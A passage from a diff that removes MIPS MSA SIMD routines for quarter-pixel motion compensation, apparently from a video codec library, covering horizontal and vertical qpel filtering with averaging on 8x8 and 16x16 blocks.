-                                                 horiz1, horiz0, horiz0, horiz1,
-                                                 horiz2, horiz3, horiz4, horiz5,
-                                                 const20, const6, const3);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) horiz2, (v2i64) horiz1);
-    res0 = __msa_ave_u_b(avg0, res0);
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    ST_D2(res0, 0, 1, dst, dst_stride);
-    dst += 2 * dst_stride;
-
-    horiz6 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp2, inp3, mask0, mask1,
-                                                    mask2, mask3, const20,
-                                                    const6, const3);
-    horiz7 = (v16u8) __msa_splati_d((v2i64) horiz6, 1);
-    res1 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(horiz2, horiz1, horiz0, horiz0,
-                                                 horiz3, horiz4, horiz5, horiz6,
-                                                 horiz3, horiz2, horiz1, horiz0,
-                                                 horiz4, horiz5, horiz6, horiz7,
-                                                 const20, const6, const3);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) horiz4, (v2i64) horiz3);
-    res1 = __msa_ave_u_b(avg1, res1);
-    inp0 = LD_UB(src);
-    horiz8 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE_1ROW(inp0, mask0, mask1,
-                                                         mask2, mask3, const20,
-                                                         const6, const3);
-    ST_D2(res1, 0, 1, dst, dst_stride);
-    dst += 2 * dst_stride;
-
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(horiz4, horiz3, horiz2, horiz1,
-                                                 horiz5, horiz6, horiz7, horiz8,
-                                                 horiz5, horiz4, horiz3, horiz2,
-                                                 horiz6, horiz7, horiz8, horiz8,
-                                                 const20, const6, const3);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) horiz6, (v2i64) horiz5);
-    res0 = __msa_ave_u_b(avg0, res0);
-    res1 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(horiz6, horiz5, horiz4, horiz3,
-                                                 horiz7, horiz8, horiz8, horiz7,
-                                                 horiz7, horiz6, horiz5, horiz4,
-                                                 horiz8, horiz8, horiz7, horiz6,
-                                                 const20, const6, const3);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) horiz8, (v2i64) horiz7);
-    res1 = __msa_ave_u_b(avg1, res1);
-    ST_D4(res0, res1, 0, 1, 0, 1, dst, dst_stride);
-}
-
-static void hv_mc_qpel_no_rnd_aver_hv_src11_16x16_msa(const uint8_t *src,
-                                                      int32_t src_stride,
-                                                      uint8_t *dst,
-                                                      int32_t dst_stride)
-{
-    uint8_t buff[272];
-
-    hv_mc_qpel_no_rnd_horiz_src1_16x16_msa(src, src_stride, buff, 16, 16);
-    vert_mc_qpel_no_rnd_aver_src1_16x16_msa(buff, 16, dst, dst_stride);
-}
-
-static void hv_mc_qpel_no_rnd_aver_hv_src11_8x8_msa(const uint8_t *src,
-                                                    int32_t src_stride,
-                                                    uint8_t *dst,
-                                                    int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3;
-    v16u8 res0, res1, avg0, avg1;
-    v16u8 horiz0, horiz1, horiz2, horiz3;
-    v16u8 horiz4, horiz5, horiz6, horiz7, horiz8;
-    v16u8 mask0 = { 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8 };
-    v16u8 mask1 = { 0, 2, 0, 3, 1, 4, 2, 5, 3, 6, 4, 7, 5, 8, 6, 8 };
-    v16u8 mask2 = { 1, 3, 0, 4, 0, 5, 1, 6, 2, 7, 3, 8, 4, 8, 5, 7 };
-    v16u8 mask3 = { 2, 4, 1, 5, 0, 6, 0, 7, 1, 8, 2, 8, 3, 7, 4, 6 };
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    res0 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp0, inp1, mask0, mask1,
-                                                  mask2, mask3, const20,
-                                                  const6, const3);
-    SLDI_B2_UB(inp0, inp0, inp1, inp1, 1, inp0, inp1);
-
-    inp0 = (v16u8) __msa_insve_d((v2i64) inp0, 1, (v2i64) inp1);
-    horiz0 = __msa_ave_u_b(inp0, res0);
-    horiz1 = (v16u8) __msa_splati_d((v2i64) horiz0, 1);
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    res1 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp2, inp3, mask0, mask1,
-                                                  mask2, mask3, const20,
-                                                  const6, const3);
-    SLDI_B2_UB(inp2, inp2, inp3, inp3, 1, inp2, inp3);
-
-    inp2 = (v16u8) __msa_insve_d((v2i64) inp2, 1, (v2i64) inp3);
-    horiz2 = __msa_ave_u_b(inp2, res1);
-    horiz3 = (v16u8) __msa_splati_d((v2i64) horiz2, 1);
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    res0 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp0, inp1, mask0, mask1,
-                                                  mask2, mask3, const20,
-                                                  const6, const3);
-
-    SLDI_B2_UB(inp0, inp0, inp1, inp1, 1, inp0, inp1);
-    inp0 = (v16u8) __msa_insve_d((v2i64) inp0, 1, (v2i64) inp1);
-    horiz4 = __msa_ave_u_b(inp0, res0);
-    horiz5 = (v16u8) __msa_splati_d((v2i64) horiz4, 1);
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(horiz0, horiz0, horiz1, horiz2,
-                                                 horiz1, horiz2, horiz3, horiz4,
-                                                 horiz1, horiz0, horiz0, horiz1,
-                                                 horiz2, horiz3, horiz4, horiz5,
-                                                 const20, const6, const3);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) horiz2, (v2i64) horiz1);
-    res0 = __msa_ave_u_b(avg0, res0);
-    ST_D2(res0, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    res1 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp2, inp3, mask0, mask1,
-                                                  mask2, mask3, const20,
-                                                  const6, const3);
-    SLDI_B2_UB(inp2, inp2, inp3, inp3, 1, inp2, inp3);
-
-    inp2 = (v16u8) __msa_insve_d((v2i64) inp2, 1, (v2i64) inp3);
-    horiz6 = __msa_ave_u_b(inp2, res1);
-    horiz7 = (v16u8) __msa_splati_d((v2i64) horiz6, 1);
-    res1 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(horiz2, horiz1, horiz0, horiz0,
-                                                 horiz3, horiz4, horiz5, horiz6,
-                                                 horiz3, horiz2, horiz1, horiz0,
-                                                 horiz4, horiz5, horiz6, horiz7,
-                                                 const20, const6, const3);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) horiz4, (v2i64) horiz3);
-    res1 = __msa_ave_u_b(avg1, res1);
-    ST_D2(res1, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    inp0 = LD_UB(src);
-    res0 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE_1ROW(inp0, mask0, mask1,
-                                                       mask2, mask3, const20,
-                                                       const6, const3);
-    inp0 = (v16u8) __msa_sldi_b((v16i8) inp0, (v16i8) inp0, 1);
-    horiz8 = __msa_ave_u_b(inp0, res0);
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(horiz4, horiz3, horiz2, horiz1,
-                                                 horiz5, horiz6, horiz7, horiz8,
-                                                 horiz5, horiz4, horiz3, horiz2,
-                                                 horiz6, horiz7, horiz8, horiz8,
-                                                 const20, const6, const3);
-    res1 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(horiz6, horiz5, horiz4, horiz3,
-                                                 horiz7, horiz8, horiz8, horiz7,
-                                                 horiz7, horiz6, horiz5, horiz4,
-                                                 horiz8, horiz8, horiz7, horiz6,
-                                                 const20, const6, const3);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) horiz6, (v2i64) horiz5);
-    res0 = __msa_ave_u_b(avg0, res0);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) horiz8, (v2i64) horiz7);
-    res1 = __msa_ave_u_b(avg1, res1);
-    ST_D4(res0, res1, 0, 1, 0, 1, dst, dst_stride);
-}
-
-static void hv_mc_qpel_aver_horiz_src0_16x16_msa(const uint8_t *src,
-                                                 int32_t src_stride,
-                                                 uint8_t *dst,
-                                                 int32_t dst_stride,
-                                                 int32_t height)
-{
-    uint8_t loop_count;
-    v16u8 inp0, inp1, inp2, inp3, inp4, inp5, inp6, inp7;
-    v16u8 res;
-    v16u8 mask = { 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0 };
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-    v8u16 const20 = (v8u16) __msa_ldi_h(20);
-
-    for (loop_count = (height >> 2); loop_count--;) {
-        LD_UB4(src, src_stride, inp0, inp2, inp4, inp6);
-        LD_UB4((src + 1), src_stride, inp1, inp3, inp5, inp7);
-        src += (4 * src_stride);
-        res = APPLY_HORIZ_QPEL_FILTER(inp0, inp1, mask,
-                                      const20, const6, const3);
-        res = __msa_aver_u_b(inp0, res);
-        ST_UB(res, dst);
-        dst += dst_stride;
-
-        res = APPLY_HORIZ_QPEL_FILTER(inp2, inp3, mask,
-                                      const20, const6, const3);
-        res = __msa_aver_u_b(inp2, res);
-        ST_UB(res, dst);
-        dst += dst_stride;
-
-        res = APPLY_HORIZ_QPEL_FILTER(inp4, inp5, mask,
-                                      const20, const6, const3);
-        res = __msa_aver_u_b(inp4, res);
-        ST_UB(res, dst);
-        dst += dst_stride;
-
-        res = APPLY_HORIZ_QPEL_FILTER(inp6, inp7, mask,
-                                      const20, const6, const3);
-        res = __msa_aver_u_b(inp6, res);
-        ST_UB(res, dst);
-        dst += dst_stride;
-    }
-
-    LD_UB2(src, 1, inp0, inp1);
-    res = APPLY_HORIZ_QPEL_FILTER(inp0, inp1, mask, const20, const6, const3);
-    res = __msa_aver_u_b(inp0, res);
-    ST_UB(res, dst);
-}
-
-static void hv_mc_qpel_aver_hv_src00_16x16_msa(const uint8_t *src,
-                                               int32_t src_stride,
-                                               uint8_t *dst,
-                                               int32_t dst_stride)
-{
-    uint8_t buff[272];
-
-    hv_mc_qpel_aver_horiz_src0_16x16_msa(src, src_stride, buff, 16, 16);
-    vert_mc_qpel_aver_src0_16x16_msa(buff, 16, dst, dst_stride);
-}
-
-static void hv_mc_qpel_aver_hv_src00_8x8_msa(const uint8_t *src,
-                                             int32_t src_stride,
-                                             uint8_t *dst,
-                                             int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3;
-    v16u8 res0, res1, avg0, avg1;
-    v16u8 horiz0, horiz1, horiz2, horiz3;
-    v16u8 horiz4, horiz5, horiz6, horiz7, horiz8;
-    v16u8 mask0 = { 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8 };
-    v16u8 mask1 = { 0, 2, 0, 3, 1, 4, 2, 5, 3, 6, 4, 7, 5, 8, 6, 8 };
-    v16u8 mask2 = { 1, 3, 0, 4, 0, 5, 1, 6, 2, 7, 3, 8, 4, 8, 5, 7 };
-    v16u8 mask3 = { 2, 4, 1, 5, 0, 6, 0, 7, 1, 8, 2, 8, 3, 7, 4, 6 };
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB4(src, src_stride, inp0, inp1, inp2, inp3);
-    src += (4 * src_stride);
-    res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    res1 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    inp0 = (v16u8) __msa_ilvr_d((v2i64) inp1, (v2i64) inp0);
-    horiz0 = __msa_aver_u_b(inp0, res0);
-    horiz1 = (v16u8) __msa_splati_d((v2i64) horiz0, 1);
-    inp2 = (v16u8) __msa_ilvr_d((v2i64) inp3, (v2i64) inp2);
-    horiz2 = __msa_aver_u_b(inp2, res1);
-    horiz3 = (v16u8) __msa_splati_d((v2i64) horiz2, 1);
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    inp0 = (v16u8) __msa_ilvr_d((v2i64) inp1, (v2i64) inp0);
-    horiz4 = __msa_aver_u_b(inp0, res0);
-    horiz5 = (v16u8) __msa_splati_d((v2i64) horiz4, 1);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz0, horiz0, horiz1, horiz2,
-                                        horiz1, horiz2, horiz3, horiz4,
-                                        horiz1, horiz0, horiz0, horiz1,
-                                        horiz2, horiz3, horiz4, horiz5,
-                                        const20, const6, const3);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) horiz1, (v2i64) horiz0);
-    res0 = __msa_aver_u_b(avg0, res0);
-    ST_D2(res0, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    res1 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    inp2 = (v16u8) __msa_ilvr_d((v2i64) inp3, (v2i64) inp2);
-    horiz6 = __msa_aver_u_b(inp2, res1);
-    horiz7 = (v16u8) __msa_splati_d((v2i64) horiz6, 1);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz2, horiz1, horiz0, horiz0,
-                                        horiz3, horiz4, horiz5, horiz6,
-                                        horiz3, horiz2, horiz1, horiz0,
-                                        horiz4, horiz5, horiz6, horiz7,
-                                        const20, const6, const3);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) horiz3, (v2i64) horiz2);
-    res1 = __msa_aver_u_b(avg1, res1);
-
-    inp0 = LD_UB(src);
-    res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE_1ROW(inp0, mask0, mask1, mask2, mask3,
-                                              const20, const6, const3);
-    horiz8 = __msa_aver_u_b(inp0, res0);
-    ST_D2(res1, 0, 1, dst, dst_stride);
-    dst += 2 * dst_stride;
-
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz4, horiz3, horiz2, horiz1,
-                                        horiz5, horiz6, horiz7, horiz8,
-                                        horiz5, horiz4, horiz3, horiz2,
-                                        horiz6, horiz7, horiz8, horiz8,
-                                        const20, const6, const3);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) horiz5, (v2i64) horiz4);
-    res0 = __msa_aver_u_b(avg0, res0);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz6, horiz5, horiz4, horiz3,
-                                        horiz7, horiz8, horiz8, horiz7,
-                                        horiz7, horiz6, horiz5, horiz4,
-                                        horiz8, horiz8, horiz7, horiz6,
-                                        const20, const6, const3);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) horiz7, (v2i64) horiz6);
-    res1 = __msa_aver_u_b(avg1, res1);
-    ST_D4(res0, res1, 0, 1, 0, 1, dst, dst_stride);
-}
-
-static void hv_mc_qpel_aver_horiz_16x16_msa(const uint8_t *src,
-                                            int32_t src_stride,
-                                            uint8_t *dst,
-                                            int32_t dst_stride,
-                                            int32_t height)
-{
-    uint8_t loop_count;
-    v16u8 inp0, inp1, inp2, inp3, inp4, inp5, inp6, inp7;
-    v16u8 res;
-    v16u8 mask = { 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0 };
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-    v8u16 const20 = (v8u16) __msa_ldi_h(20);
-
-    for (loop_count = (height >> 2); loop_count--;) {
-        LD_UB4(src, src_stride, inp0, inp2, inp4, inp6);
-        LD_UB4((src + 1), src_stride, inp1, inp3, inp5, inp7);
-        src += (4 * src_stride);
-        res = APPLY_HORIZ_QPEL_FILTER(inp0, inp1, mask,
-                                      const20, const6, const3);
-        ST_UB(res, dst);
-        dst += dst_stride;
-
-        res = APPLY_HORIZ_QPEL_FILTER(inp2, inp3, mask,
-                                      const20, const6, const3);
-        ST_UB(res, dst);
-        dst += dst_stride;
-
-        res = APPLY_HORIZ_QPEL_FILTER(inp4, inp5, mask,
-                                      const20, const6, const3);
-        ST_UB(res, dst);
-        dst += dst_stride;
-
-        res = APPLY_HORIZ_QPEL_FILTER(inp6, inp7, mask,
-                                      const20, const6, const3);
-        ST_UB(res, dst);
-        dst += dst_stride;
-    }
-
-    LD_UB2(src, 1, inp0, inp1);
-    res = APPLY_HORIZ_QPEL_FILTER(inp0, inp1, mask, const20, const6, const3);
-    ST_UB(res, dst);
-}
-
-static void hv_mc_qpel_aver_v_src0_16x16_msa(const uint8_t *src,
-                                             int32_t src_stride,
-                                             uint8_t *dst,
-                                             int32_t dst_stride)
-{
-    uint8_t buff[272];
-
-    hv_mc_qpel_aver_horiz_16x16_msa(src, src_stride, buff, 16, 16);
-    vert_mc_qpel_aver_src0_16x16_msa(buff, 16, dst, dst_stride);
-}
-
-static void hv_mc_qpel_aver_v_src0_8x8_msa(const uint8_t *src,
-                                           int32_t src_stride,
-                                           uint8_t *dst,
-                                           int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3;
-    v16u8 res0, res1, avg0, avg1;
-    v16u8 horiz0, horiz1, horiz2, horiz3;
-    v16u8 horiz4, horiz5, horiz6, horiz7, horiz8;
-    v16u8 mask0 = { 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8 };
-    v16u8 mask1 = { 0, 2, 0, 3, 1, 4, 2, 5, 3, 6, 4, 7, 5, 8, 6, 8 };
-    v16u8 mask2 = { 1, 3, 0, 4, 0, 5, 1, 6, 2, 7, 3, 8, 4, 8, 5, 7 };
-    v16u8 mask3 = { 2, 4, 1, 5, 0, 6, 0, 7, 1, 8, 2, 8, 3, 7, 4, 6 };
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    horiz0 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1,
-                                           mask0, mask1, mask2, mask3,
-                                           const20, const6, const3);
-    horiz1 = (v16u8) __msa_splati_d((v2i64) horiz0, 1);
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    horiz2 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3,
-                                           mask0, mask1, mask2, mask3,
-                                           const20, const6, const3);
-    horiz3 = (v16u8) __msa_splati_d((v2i64) horiz2, 1);
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    horiz4 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1,
-                                           mask0, mask1, mask2, mask3,
-                                           const20, const6, const3);
-    horiz5 = (v16u8) __msa_splati_d((v2i64) horiz4, 1);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz0, horiz0, horiz1, horiz2,
-                                        horiz1, horiz2, horiz3, horiz4,
-                                        horiz1, horiz0, horiz0, horiz1,
-                                        horiz2, horiz3, horiz4, horiz5,
-                                        const20, const6, const3);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) horiz1, (v2i64) horiz0);
-    res0 = __msa_aver_u_b(avg0, res0);
-    ST_D2(res0, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    horiz6 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3,
-                                           mask0, mask1, mask2, mask3,
-                                           const20, const6, const3);
-    horiz7 = (v16u8) __msa_splati_d((v2i64) horiz6, 1);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz2, horiz1, horiz0, horiz0,
-                                        horiz3, horiz4, horiz5, horiz6,
-                                        horiz3, horiz2, horiz1, horiz0,
-                                        horiz4, horiz5, horiz6, horiz7,
-                                        const20, const6, const3);
-    inp0 = LD_UB(src);
-    horiz8 = APPLY_HORIZ_QPEL_FILTER_8BYTE_1ROW(inp0,
-                                                mask0, mask1, mask2, mask3,
-                                                const20, const6, const3);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) horiz3, (v2i64) horiz2);
-    res1 = __msa_aver_u_b(avg1, res1);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz4, horiz3, horiz2, horiz1,
-                                        horiz5, horiz6, horiz7, horiz8,
-                                        horiz5, horiz4, horiz3, horiz2,
-                                        horiz6, horiz7, horiz8, horiz8,
-                                        const20, const6, const3);
-    ST_D2(res1, 0, 1, dst, dst_stride);
-    dst += 2 * dst_stride;
-
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) horiz5, (v2i64) horiz4);
-    res0 = __msa_aver_u_b(avg0, res0);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz6, horiz5, horiz4, horiz3,
-                                        horiz7, horiz8, horiz8, horiz7,
-                                        horiz7, horiz6, horiz5, horiz4,
-                                        horiz8, horiz8, horiz7, horiz6,
-                                        const20, const6, const3);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) horiz7, (v2i64) horiz6);
-    res1 = __msa_aver_u_b(avg1, res1);
-    ST_D4(res0, res1, 0, 1, 0, 1, dst, dst_stride);
-}
-
-static void hv_mc_qpel_aver_horiz_src1_16x16_msa(const uint8_t *src,
-                                                 int32_t src_stride,
-                                                 uint8_t *dst,
-                                                 int32_t dst_stride,
-                                                 int32_t height)
-{
-    uint8_t loop_count;
-    v16u8 inp0, inp1, inp2, inp3, inp4, inp5, inp6, inp7;
-    v16u8 res;
-    v16u8 mask = { 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0 };
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-    v8u16 const20 = (v8u16) __msa_ldi_h(20);
-
-    for (loop_count = (height >> 2); loop_count--;) {
-        LD_UB4(src, src_stride, inp0, inp2, inp4, inp6);
-        LD_UB4((src + 1), src_stride, inp1, inp3, inp5, inp7);
-        src += (4 * src_stride);
-        res = APPLY_HORIZ_QPEL_FILTER(inp0, inp1, mask,
-                                      const20, const6, const3);
-        res = __msa_aver_u_b(res, inp1);
-        ST_UB(res, dst);
-        dst += dst_stride;
-
-        res = APPLY_HORIZ_QPEL_FILTER(inp2, inp3, mask,
-                                      const20, const6, const3);
-        res = __msa_aver_u_b(res, inp3);
-        ST_UB(res, dst);
-        dst += dst_stride;
-
-        res = APPLY_HORIZ_QPEL_FILTER(inp4, inp5, mask,
-                                      const20, const6, const3);
-        res = __msa_aver_u_b(res, inp5);
-        ST_UB(res, dst);
-        dst += dst_stride;
-
-        res = APPLY_HORIZ_QPEL_FILTER(inp6, inp7, mask,
-                                      const20, const6, const3);
-        res = __msa_aver_u_b(res, inp7);
-        ST_UB(res, dst);
-        dst += dst_stride;
-    }
-
-    LD_UB2(src, 1, inp0, inp1);
-    res = APPLY_HORIZ_QPEL_FILTER(inp0, inp1, mask, const20, const6, const3);
-    res = __msa_aver_u_b(inp1, res);
-    ST_UB(res, dst);
-}
-
-static void hv_mc_qpel_aver_hv_src10_16x16_msa(const uint8_t *src,
-                                               int32_t src_stride,
-                                               uint8_t *dst,
-                                               int32_t dst_stride)
-{
-    uint8_t buff[272];
-
-    hv_mc_qpel_aver_horiz_src1_16x16_msa(src, src_stride, buff, 16, 16);
-    vert_mc_qpel_aver_src0_16x16_msa(buff, 16, dst, dst_stride);
-}
-
-static void hv_mc_qpel_aver_hv_src10_8x8_msa(const uint8_t *src,
-                                             int32_t src_stride,
-                                             uint8_t *dst,
-                                             int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3;
-    v16u8 res0, res1, avg0, avg1;
-    v16u8 horiz0, horiz1, horiz2, horiz3;
-    v16u8 horiz4, horiz5, horiz6, horiz7, horiz8;
-    v16u8 mask0 = { 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8 };
-    v16u8 mask1 = { 0, 2, 0, 3, 1, 4, 2, 5, 3, 6, 4, 7, 5, 8, 6, 8 };
-    v16u8 mask2 = { 1, 3, 0, 4, 0, 5, 1, 6, 2, 7, 3, 8, 4, 8, 5, 7 };
-    v16u8 mask3 = { 2, 4, 1, 5, 0, 6, 0, 7, 1, 8, 2, 8, 3, 7, 4, 6 };
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB4(src, src_stride, inp0, inp1, inp2, inp3);
-    src += (4 * src_stride);
-    res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    res1 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    SLDI_B2_UB(inp0, inp0, inp1, inp1, 1, inp0, inp1);
-
-    inp0 = (v16u8) __msa_insve_d((v2i64) inp0, 1, (v2i64) inp1);
-    horiz0 = __msa_aver_u_b(inp0, res0);
-    horiz1 = (v16u8) __msa_splati_d((v2i64) horiz0, 1);
-    SLDI_B2_UB(inp2, inp2, inp3, inp3, 1, inp2, inp3);
-
-    inp2 = (v16u8) __msa_insve_d((v2i64) inp2, 1, (v2i64) inp3);
-    horiz2 = __msa_aver_u_b(inp2, res1);
-    horiz3 = (v16u8) __msa_splati_d((v2i64) horiz2, 1);
-    LD_UB4(src, src_stride, inp0, inp1, inp2, inp3);
-    src += (4 * src_stride);
-    res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp0, inp1, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    res1 = APPLY_HORIZ_QPEL_FILTER_8BYTE(inp2, inp3, mask0, mask1, mask2, mask3,
-                                         const20, const6, const3);
-    SLDI_B2_UB(inp0, inp0, inp1, inp1, 1, inp0, inp1);
-
-    inp0 = (v16u8) __msa_insve_d((v2i64) inp0, 1, (v2i64) inp1);
-    horiz4 = __msa_aver_u_b(inp0, res0);
-    horiz5 = (v16u8) __msa_splati_d((v2i64) horiz4, 1);
-    SLDI_B2_UB(inp2, inp2, inp3, inp3, 1, inp2, inp3);
-
-    inp2 = (v16u8) __msa_insve_d((v2i64) inp2, 1, (v2i64) inp3);
-    horiz6 = __msa_aver_u_b(inp2, res1);
-    horiz7 = (v16u8) __msa_splati_d((v2i64) horiz6, 1);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz0, horiz0, horiz1, horiz2,
-                                        horiz1, horiz2, horiz3, horiz4,
-                                        horiz1, horiz0, horiz0, horiz1,
-                                        horiz2, horiz3, horiz4, horiz5,
-                                        const20, const6, const3);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) horiz1, (v2i64) horiz0);
-    res0 = __msa_aver_u_b(avg0, res0);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz2, horiz1, horiz0, horiz0,
-                                        horiz3, horiz4, horiz5, horiz6,
-                                        horiz3, horiz2, horiz1, horiz0,
-                                        horiz4, horiz5, horiz6, horiz7,
-                                        const20, const6, const3);
-    ST_D2(res0, 0, 1, dst, dst_stride);
-    dst += 2 * dst_stride;
-
-    inp0 = LD_UB(src);
-    res0 = APPLY_HORIZ_QPEL_FILTER_8BYTE_1ROW(inp0, mask0, mask1, mask2, mask3,
-                                              const20, const6, const3);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) horiz3, (v2i64) horiz2);
-    res1 = __msa_aver_u_b(avg1, res1);
-    inp0 = (v16u8) __msa_sldi_b((v16i8) inp0, (v16i8) inp0, 1);
-    horiz8 = __msa_aver_u_b(inp0, res0);
-    res0 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz4, horiz3, horiz2, horiz1,
-                                        horiz5, horiz6, horiz7, horiz8,
-                                        horiz5, horiz4, horiz3, horiz2,
-                                        horiz6, horiz7, horiz8, horiz8,
-                                        const20, const6, const3);
-    ST_D2(res1, 0, 1, dst, dst_stride);
-    dst += 2 * dst_stride;
-
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) horiz5, (v2i64) horiz4);
-    res0 = __msa_aver_u_b(avg0, res0);
-    res1 = APPLY_VERT_QPEL_FILTER_8BYTE(horiz6, horiz5, horiz4, horiz3,
-                                        horiz7, horiz8, horiz8, horiz7,
-                                        horiz7, horiz6, horiz5, horiz4,
-                                        horiz8, horiz8, horiz7, horiz6,
-                                        const20, const6, const3);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) horiz7, (v2i64) horiz6);
-    res1 = __msa_aver_u_b(avg1, res1);
-    ST_D4(res0, res1, 0, 1, 0, 1, dst, dst_stride);
-}
-
-static void hv_mc_qpel_aver_h_src0_16x16_msa(const uint8_t *src,
-                                             int32_t src_stride,
